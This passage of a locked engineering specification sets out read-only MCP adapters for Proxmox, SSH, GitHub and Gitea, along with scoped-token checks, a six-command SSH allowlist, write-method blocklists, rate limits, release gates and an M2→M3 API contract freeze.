| **REQ-020** | Implement read-only Proxmox MCP adapter | J1, J2 | High | **Given** a Proxmox adapter is configured with a `PVEAuditor`-scoped API token, **when** an MCP tool call routes to it, **then** the adapter calls only Proxmox GET endpoints (e.g., `/api2/json/nodes`, `/api2/json/qemu`, `/api2/json/nodes/{node}/qemu/{vmid}/status/current`) and never mutates state; supported capabilities include `proxmox.list_vms` (inventory), `proxmox.get_vm_status`, `proxmox.get_node_metrics`. |
|
||||
| **REQ-021** | Implement read-only SSH/Linux Server MCP adapter | J1, J2 | High | **Given** an SSH adapter is configured via M1 Relay Agent (REQ-026), **when** an MCP tool call routes to it, **then** the adapter invokes only commands from the fixed whitelist subset (`uptime`, `df -h`, `free -m`, `systemctl status <svc>`, `journalctl -n <N>`, `systemctl list-units --type=service`) via the M1 Relay whitelist hook; the broker validates `command` against this subset BEFORE dispatch to the Relay Agent (defense-in-depth layer 1); the Relay Agent `CheckCommand` is the second enforcement layer (layer 2); non-whitelist commands return HTTP 403 (REQ-026). |
|
||||
| **REQ-022** | Implement read-only GitHub MCP adapter | J1, J2 | High | **Given** a GitHub adapter is configured with a fine-grained PAT (`metadata:read` + `actions:read` minimum per D-006), **when** an MCP tool call routes to it, **then** the adapter calls only GitHub REST GET endpoints and rejects any token lacking required scopes; supported capabilities include `github.list_repos` (inventory), `github.get_recent_ci_runs`, `github.get_workflow_run`. |
|
||||
| **REQ-023** | Implement read-only Gitea MCP adapter | J1, J2 | High | **Given** a Gitea adapter is configured with a read-only token, **when** an MCP tool call routes to it, **then** the adapter calls only Gitea REST GET endpoints and rejects any token lacking required read scopes; version-aware validation: Gitea ≥1.22 requires `read:repository` scope; Gitea <1.22 accepts any token with broker-side write-method blocklist (POST/PUT/DELETE/PATCH) as security backstop; supported capabilities mirror the GitHub adapter (`gitea.list_repos`, `gitea.get_recent_ci_runs`). |
|
||||
| **REQ-024** | Scope MCP queries to explicitly selected target in multi-target tenants | Edge 3 | High | **Given** a tenant has multiple adapters of the same type configured (e.g., 2 Proxmox hosts), **when** a capability invocation is received without an explicit `target_id` for that adapter type, **then** the broker returns HTTP 400 "target required" with a list of available targets; the UI surfaces a target picker. |
|
||||
| **REQ-025** | Authenticate to Proxmox via scoped API token + PVEAuditor | J1 | High | **Given** a Proxmox adapter config submission, **when** the token is submitted, **then** the broker verifies the token's role on the target is `PVEAuditor` before persisting; tokens without `PVEAuditor` return HTTP 422 with role-violation error and no config is persisted; the token is stored via `SecretProvider.set` (INV-3). |
|
||||
| **REQ-026** | Authenticate to Linux servers via SSH key + whitelist execution | J1, Edge 7 | High | **Given** an SSH adapter config submission, **when** the Relay registration token is stored via `SecretProvider.set` (INV-3), **then** all subsequent SSH commands are validated against the fixed whitelist subset at two layers: (1) broker validates `command` before dispatch, (2) M1 Relay Agent `CheckCommand` validates at execution; non-whitelisted commands return HTTP 403 with a structured error and `adapter.write_rejected` audit event is appended. |
|
||||
| **REQ-027** | Authenticate to GitHub and Gitea via scoped API tokens | J1 | High | **Given** a GitHub or Gitea adapter config submission, **when** the token is submitted, **then** the broker validates token scopes before persisting (GitHub: fine-grained PAT with `metadata:read` + `actions:read` minimum per D-006; Gitea ≥1.22: `read:repository` minimum; Gitea <1.22: any token accepted with broker-side write-method blocklist as security backstop); insufficient scopes return HTTP 422 with scope-violation error and no config is persisted; the token is stored via `SecretProvider.set` (INV-3). |
|
||||
|
||||
**Cross-cutting (inherited from M1, not new REQs):** All M2 REQs run under `withTenant` + RLS (INV-2), resolve credentials via `SecretProvider` (INV-3), append audit events to M1's `audit_log` (INV-4), and enforce the auth → tenant resolve → RBAC → audit ordering (INV-1).
|
||||
|
||||
---
|
||||
|
||||
## 5. Technical Constraints & NFRs
|
||||
|
||||
- **Closed tool registry (REQ-015):** Broker exposes a fixed, enumerated set of read-only tools per adapter. Per-tenant policy may disable tools but not add new ones. No "custom tool" endpoint in M2. Full enumeration: see Section 4 REQ-015 acceptance criterion.
|
||||
- **Read-only enforcement (REQ-018, INV-7):** Every adapter has a known write surface (Proxmox: POST/PUT/DELETE; SSH: non-whitelist commands; GitHub: scopes outside `metadata:read`+`actions:read`; Gitea: POST/PUT/DELETE/PATCH on all endpoints). Broker maintains an adapter-specific write-method blocklist and rejects 100% of write attempts before adapter invocation. The broker is the load-bearing safety boundary. Verified by a test per adapter at the M2 gate.
|
||||
- **Multi-tenancy (INV-2):** Every MCP capability invocation runs under `withTenant` transaction + RLS. Adapters are per-tenant; no cross-tenant adapter sharing. Adapter rows in Postgres are tenant-scoped (REQ-024 handles same-type multi-target).
|
||||
- **Credential resolution (INV-3):** All adapter credentials resolved via `SecretProvider.get`. No env/config/DB fallback. Credentials never logged; secret identifiers hashed in audit events.
|
||||
- **Audit completeness (INV-4):** Every MCP capability invocation, every adapter config change, every write rejection, every test connection appends an audit event to M1's `audit_log` (hash-chained, append-only, UPDATE/DELETE REVOKE'd). New event types: `adapter.configured`, `adapter.test_connection.{succeeded,failed}`, `adapter.capability_invoked`, `adapter.write_rejected`.
|
||||
- **Rate limiting (REQ-019):** Token-bucket per user (60 req/min) and per tenant (300 req/min). In-memory implementation in M2 (process-local, capacity = rate, refill 1/sec user / 5/sec tenant); cross-instance aggregation deferred to M3 if Trigger.dev tasks or horizontal scaling require it (Redis migration path documented in code comments).
|
||||
- **Data freshness:** Live query for time-sensitive capabilities (logs, metrics, events, CI runs — i.e., non-`list_*`). In-memory TTL cache (60s, LRU-evicting) for inventory capabilities only (`list_*`). No Postgres tables for cache. Staleness surfaced in M2 Test-Call UI for cached calls; chat surface staleness is M3.
|
||||
- **MCP protocol conformance:** Broker implements MCP spec version `2025-06-18` (latest stable with complete published documentation). Conformance verified against modelcontextprotocol.io before architecture locks — verification artifact required at M2 gate. Gateway = MCP client; adapters = MCP servers (in-process custom transport for Proxmox/GitHub/Gitea; downstream WebSocket to M1 Relay Agent for SSH). JSON-RPC 2.0 ↔ OpenAI `tool_calls` translation contract documented as a typed translator module.
|
||||
- **MCP transport architecture (D-007):** Three layers: (1) broker ↔ Proxmox/GitHub/Gitea adapters use in-process custom MCP transport (JSON-RPC messages in-process, no subprocess spawning); (2) broker ↔ SSH adapter MCP layer is in-process, with downstream WebSocket transport to M1 Relay Agent (Go binary) — the MCP `tools/call` JSON-RPC sits between broker and TS SSH adapter module, the TS module then calls the Relay Agent over M1's WebSocket; (3) broker ↔ CI/LLM smoke uses stdio transport. Broker ↔ UI uses REST facade + SSE (not MCP Streamable HTTP — browser-friendly facade with MCP-compliant tool schemas/results inside).
|
||||
- **OpenAI ↔ MCP translation contract:** `tool_calls[].function.{name, arguments}` → `params.{name, arguments}` (parsed JSON object); `result.content[].text` + `isError` → OpenAI tool message `{role:"tool", tool_call_id, content}`. Documented as a typed translator module in `packages/mcp/translator.ts`.
|
||||
- **SSE event format:** `id: <ulid>-<sequence>; event: tool_result; data: {"content":[...],"isError":false}`; terminal events `event: done` (completion) or `event: error` (failure); correlation ID (ULID) surfaced in audit event `correlation_id` field and Test-Call UI.
|
||||
- **Token-bucket parameters:** capacity = rate (60 user / 300 tenant); refill 1/sec (user) / 5/sec (tenant); process-local in M2; Redis migration path documented in code.
|
||||
- **Per-adapter write-method blocklist:** Proxmox POST/PUT/DELETE; GitHub scopes outside `metadata:read`+`actions:read`; Gitea POST/PUT/DELETE/PATCH on all endpoints; SSH non-whitelist commands (subset per REQ-021).
|
||||
- **RLS verification environment:** All M2 schema additions and queries verified against real Postgres 16 in CI (not PGlite). PGlite permitted only for unit tests where RLS gap is documented (per intake §5 tensions) and app-layer withTenant + explicit WHERE is primary enforcement.
|
||||
- **M1 non-regression:** All M1 REQs (001-014, 038-040) remain passing. No schema, invariant, or behavioral changes to M1 systems except additive (new tables, new audit event types).
|
||||
|
||||
**Performance NFRs:**
|
||||
- MCP capability invocation P95 latency < 2s for live capabilities (excluding upstream call time).
|
||||
- SSE stream chunk delivery < 100ms between events.
|
||||
- Rate limiter check < 5ms.
|
||||
- Adapter upstream timeout: 10s (broker returns HTTP 504 on timeout).
|
||||
- SecretProvider.get timeout: 5s (broker returns HTTP 503 on timeout).
|
||||
|
||||
**Adapter upstream protocol constraints:**
|
||||
- Proxmox: PVE API over HTTPS; cookie-based auth; respect PVE rate limits.
|
||||
- SSH: via M1 Relay Agent WebSocket; outbound-only from customer hosts (INV-6).
|
||||
- GitHub: REST API; `X-RateLimit-Remaining` header observed; back off on 429.
|
||||
- Gitea: REST API; mirror GitHub adapter patterns; verify against customer's Gitea version.
|
||||
|
||||
---
|
||||
|
||||
## 6. Milestone Plan & Release Gates
|
||||
|
||||
Test evidence required for Production Release (M2 gate):
|
||||
|
||||
1. **M1 acceptance gate still passing** — no regression to M1 REQs (001-014, 038-040).
|
||||
2. **All 13 M2 REQs (015-027) have passing tests** with Given/When/Then coverage.
|
||||
3. **Code coverage ≥ 80%** on new M2 modules (gate per spec §6).
|
||||
4. **DB coverage ≥ 80%** maintained on `packages/db` (M1 floor).
|
||||
5. **CI/CD pipeline builds successfully** (GREEN).
|
||||
6. **Wave 0 prerequisites met:** CI Postgres 16 container running; RLS policies verified against real Postgres (not PGlite); real GitHub PAT available in CI.
|
||||
7. **Adapter validation:** Proxmox, SSH, Gitea validated via mocks; GitHub validated via real-target smoke in CI (live API call).
|
||||
8. **LLM smoke (P0 — not deferrable):** A chat-completion request with tools parameter invokes `github.list_repos` via the broker, receives adapter response, and returns a synthesized LLM response grounded in adapter data. Uses CI-only mock provider with OpenAI-compatible + tool-calling contract (`packages/llm-mock`). If `packages/llm-mock` cannot reliably drive the full OpenAI→MCP→adapter→result→synthesis path against a real GitHub target in CI, that's a P0 issue for the M2 cycle, not a deferral to M3.
|
||||
9. **INV-7 verified by tests:** 100% of known write-capable upstream methods per adapter are rejected at the broker with audit event (REQ-018 acceptance criterion validated per adapter). The broker is the load-bearing safety boundary.
|
||||
10. **Multi-target scope verified by tests:** Tenant with 2 same-type adapters cannot invoke without `target_id` (REQ-024).
|
||||
11. **Rate limit verified by tests:** Per-user (60/min) and per-tenant (300/min) limits enforced (REQ-019).
|
||||
12. **SSE streaming verified by tests:** Stream emits correctly formed events; client disconnect handled cleanly (REQ-017).
|
||||
13. **Adapter audit events visible** in M1's audit export.
|
||||
14. **Security/Compliance review approved** — audit completeness, secret handling, RLS enforcement, write-rejection defense-in-depth.
|
||||
15. **MCP conformance verification artifact** — recorded evidence that the broker's MCP implementation conforms to spec version `2025-06-18` (lowest-confidence area — verify before locking).
|
||||
|
||||
---
|
||||
|
||||
## 7. Open Questions & Assumptions
|
||||
|
||||
_All 9 open questions resolved and approved by Product Owner on 2026-08-25. Confidence range: 0.75–0.85 (all above 0.6 threshold)._
|
||||
|
||||
### Q1 — MCP protocol version + transport + conformance
|
||||
**Decision:** MCP spec version `2025-06-18` (latest stable with complete published documentation). Three transport layers: (1) in-process custom transport for broker ↔ Proxmox/GitHub/Gitea adapters; (2) REST facade + SSE for broker ↔ UI; (3) stdio for broker ↔ CI/LLM smoke. OpenAI ↔ MCP translation contract: `tool_calls[].function.{name, arguments}` → `params.{name, arguments}`; `result.content[].text` + `isError` → OpenAI tool message. Documented as Phase 0 deliverable.
|
||||
**Confidence:** 0.80
|
||||
**Impact if wrong:** Broker may need rework if MCP standard diverges from assumptions; LLM smoke contract mismatch.
|
||||
**D-007:** Record in CLARIFY (transport architecture for SSH — in-process MCP layer with downstream WebSocket to M1 Relay Agent).
|
||||
|
||||
### Q2 — Closed tool set enumeration per adapter (REQ-015 freeze)
|
||||
**Decision:** Lock the 9-tool starter set across 4 adapters: `proxmox.list_vms` (inventory), `proxmox.get_vm_status` (live), `proxmox.get_node_metrics` (live), `ssh.run_whitelisted_command` (live), `github.list_repos` (inventory), `github.get_recent_ci_runs` (live), `github.get_workflow_run` (live), `gitea.list_repos` (inventory), `gitea.get_recent_ci_runs` (live). No `gitea.get_workflow_run` in M2 (deferred to v1.2+). Additions require spec amendment (v1.2+).
|
||||
**Confidence:** 0.85
|
||||
**Impact if wrong:** UX gaps in Test-Call UI; broker expansion post-M2.
|
||||
|
||||
### Q3 — SSH whitelist command set (REQ-021 + REQ-026 freeze)
|
||||
**Decision:** Conservative 6-command subset of M1's whitelist: `uptime`, `df -h`, `free -m`, `systemctl status <svc>`, `journalctl -n <N>` (1-500), `systemctl list-units --type=service`. Broker validates `command` against this subset BEFORE dispatch to Relay Agent (defense-in-depth layer 1); Relay Agent `CheckCommand` is layer 2. Expansion requires spec amendment.
|
||||
**Confidence:** 0.80
|
||||
**Impact if wrong:** SSH adapter may ship with commands operators don't need, or miss commonly-needed ones.
|
||||
|
||||
### Q4 — Rate limit token-bucket storage
|
||||
**Decision:** In-memory (process-local) for M2. Token-bucket per user (60 req/min) and per tenant (300 req/min). capacity = rate, refill 1/sec (user) / 5/sec (tenant). Redis migration path documented in code comments for M3 if horizontal scaling or Trigger.dev tasks require cross-instance aggregation.
|
||||
**Confidence:** 0.85
|
||||
**Impact if wrong:** Multi-instance deployments may allow rate limit bypass until M3.
|
||||
|
||||
### Q5 — GitHub "read-only" scope granularity
|
||||
**Decision:** Fine-grained PATs with `metadata:read` + `actions:read` minimum (no `contents:read` — M2 GitHub tools do not read repo contents). Per-tool additional scopes validated at invocation time. **D-006 deviation** from spec recommendation (`contents:read` + `metadata:read`): M2 tools don't need repo contents access; `contents:read` adds no value and broadens attack surface.
|
||||
**Confidence:** 0.80
|
||||
**Impact if wrong:** Some tools may fail at runtime due to insufficient scope; UX friction.
|
||||
**D-006:** Record in CLARIFY. REQ-027 acceptance criterion updated to match.
|
||||
|
||||
### Q6 — Gitea "read-only" scope mapping
|
||||
**Decision:** Version-aware token validation. Gitea ≥1.22: require `read:repository` scope (fine-grained OAuth2 scopes added in 1.22). Gitea <1.22: accept any token (no read-only scope available) with broker-side write-method blocklist (POST/PUT/DELETE/PATCH) as security backstop. Version detected via `GET /api/v1/version` and recorded in adapter config row. Submit-time validation via `GET /api/v1/repos/search?limit=1`.
|
||||
**Confidence:** 0.75
|
||||
**Impact if wrong:** Gitea adapter may reject valid tokens or accept over-scoped tokens.
|
||||
|
||||
### Q7 — SSE stream lifecycle and correlation ID
|
||||
**Decision:** Per-call streams (one stream per capability invocation) for M2. Correlation ID = ULID (26-char, lexicographically sortable) minted at `POST /api/mcp/invoke`. Surfaces in SSE event `id` field, audit event `correlation_id`, and Test-Call UI. Client disconnect (Edge 8) cancels in-flight adapter call; no audit event for client-side cancellation. Session-based streams considered for M3.
|
||||
**Confidence:** 0.85
|
||||
**Impact if wrong:** UX complexity, correlation issues, or orphaned streams.
|
||||
|
||||
### Q8 — LLM smoke mock implementation location
|
||||
**Decision:** New `packages/llm-mock` as a `devDependency` (not production dependency). CI-only; import-guarded against prod bundle via build-time check/eslint rule. Implements OpenAI-compatible `/v1/chat/completions` that accepts `tools` parameter, returns `tool_calls`, accepts follow-up tool messages, and synthesizes grounded responses.
|
||||
**Confidence:** 0.85
|
||||
**Impact if wrong:** Mock leaks into prod builds or runtime bundle bloat.
|
||||
|
||||
### Q9 — M3 interface contract from M2
|
||||
**Decision:** Yes — M2's gateway (REST + SSE) is a stable contract from M2's acceptance gate onward. 5-endpoint contract frozen (see Section 9). M3 treats these as a stable API; additive changes (new tools, adapters, SSE event types) permitted; breaking changes require M3 spec amendment + deprecation period. M3 token-streaming SSE endpoint (for LLM output tokens) is a separate design — not in M2 scope, but documented as the M3 chat orchestration requirement (known M2→M3 boundary).
|
||||
**Confidence:** 0.80
|
||||
**Impact if wrong:** M3 chat UI may need gateway rework if M2 API changes post-gate.
|
||||
|
||||
---
|
||||
|
||||
## 8. Changelog
|
||||
|
||||
| Version | Date | Author | What Changed | REQs Affected |
|
||||
|:--------|:-----|:-------|:-------------|:--------------|
|
||||
| v1.0 | 2026-08-25 | Sarah Chen | Initial M2 spec — MCP Layer & Day 1 Adapters. All 9 open questions resolved. D-006 (GitHub scopes) and D-007 (MCP transport) recorded as deviations. | REQ-015 through REQ-027 |
|
||||
| v1.0-locked | 2026-08-25 | Sarah Chen + ciagent | Spec delta applied: REQ-015 closed-tool-set enumeration, REQ-021 defense-in-depth, REQ-027 D-006/D-007 scope updates, Section 5 MCP conformance/transport/SSE/token-bucket constraints, Section 9 M2→M3 contract freeze. | REQ-015, REQ-021, REQ-027, Section 5, Section 9 |
|
||||
|
||||
---
|
||||
|
||||
## 9. M2→M3 Contract Freeze
|
||||
|
||||
_This section freezes the M2 gateway API as a stable contract from M2's acceptance gate onward. M3 treats these endpoints as a stable API._
|
||||
|
||||
| Endpoint | Method | Purpose | M3 consumer |
|
||||
|:---------|:-------|:--------|:------------|
|
||||
| `/api/mcp/tools` | GET | List available tools (MCP `tools/list` facade) | M3 chat UI populates the LLM's `tools` parameter |
|
||||
| `/api/mcp/invoke` | POST | Invoke a capability; returns `{correlationId, streamUrl}` | M3 chat orchestration calls when the LLM emits `tool_calls` |
|
||||
| `/api/mcp/stream/:correlationId` | GET (SSE) | Stream tool execution output | M3 chat UI streams tool traces to the trace panel |
|
||||
| `/api/mcp/adapter` | POST | Configure an adapter (J1 Step 3) | M3 does not call (M2 Settings UI only) |
|
||||
| `/api/mcp/adapter/:id` | PATCH/DELETE | Update/remove adapter config | M3 does not call (M2 Settings UI only) |
|
||||
|
||||
**Stability rules:**
|
||||
- From the M2 acceptance gate onward, these endpoints' request/response shapes are frozen. M3 treats them as a stable API.
|
||||
- Additive changes (new tools, new adapters, new event types in SSE) are allowed and do not break the contract.
|
||||
- Breaking changes (renaming endpoints, changing response shapes) require an M3 spec amendment and a deprecation period.
|
||||
- The OpenAI ↔ MCP translation contract (Q1) is part of this freeze — M3's chat orchestration relies on the broker accepting OpenAI `tool_calls` and returning OpenAI tool messages.
|
||||
|
||||
**Open boundary (M3 design, not M2 build):**
|
||||
M3 likely needs a separate SSE endpoint for LLM token streaming (distinct from MCP tool output streaming). M2's `/api/mcp/stream/:correlationId` streams tool execution output, not LLM completion tokens. M3's chat orchestration will need a `/api/chat/stream` (or similar) endpoint for streaming LLM output tokens to the chat UI. This is a known M2→M3 boundary, documented here as a future endpoint, not built in M2.
|
||||
|
||||
---
|
||||
|
||||
*End of CoreCI Chat v0.1 M2 Engineering Specification v1.0 (Locked)*
|
||||
|
||||
*Product Owner: Sarah Chen — Locked 2026-08-25 — Ready for ciagent Milestone 2 implementation.*
|
||||
Reference in New Issue
Block a user